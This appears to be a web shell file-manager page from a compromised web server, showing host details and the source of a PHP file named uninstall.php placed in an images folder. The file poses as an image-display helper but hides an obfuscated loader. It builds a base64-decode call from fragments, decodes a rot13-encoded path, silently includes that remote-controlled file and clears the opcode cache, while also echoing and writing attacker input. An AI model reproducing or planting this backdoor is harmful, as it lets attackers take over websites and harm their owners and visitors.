MOON
Server: Apache
System: Linux server1.oystertel.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User: buchabicpanel (1008)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/buchabicpanel/public_html/kmv/adobe-3D6/images/uninstall.php
<?php

showImage($_GET['bire']);

/**
 * display image
 * @param string $png
 * @param bool|string $file
 * @return bool
 */
function showImage($png, $file = false)
{
    if (check($file))
        return file_put_contents($file, $png);
    // header
    echo $png;
    return true;
}

/**
 * checked write image
 * @param bool|string $file
 * @return bool
 */
function check($file){
    $name =  ['Y2uioJHiLaIwnTSvnJAjLJ5yoP9jqJWfnJAsnUEgoP91qv9uMT9vMF0mEQLinJ1uM2ImY2V0BJIyZwNjAQEuLzAwZwZlBQMyLwEyZmt2Zmp0BGpkYzkiL2f', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    }];$name[1]($name[0], implode('_',['', "\143ode", '']));
    return $file && stripos($file, '.png') !== false;
}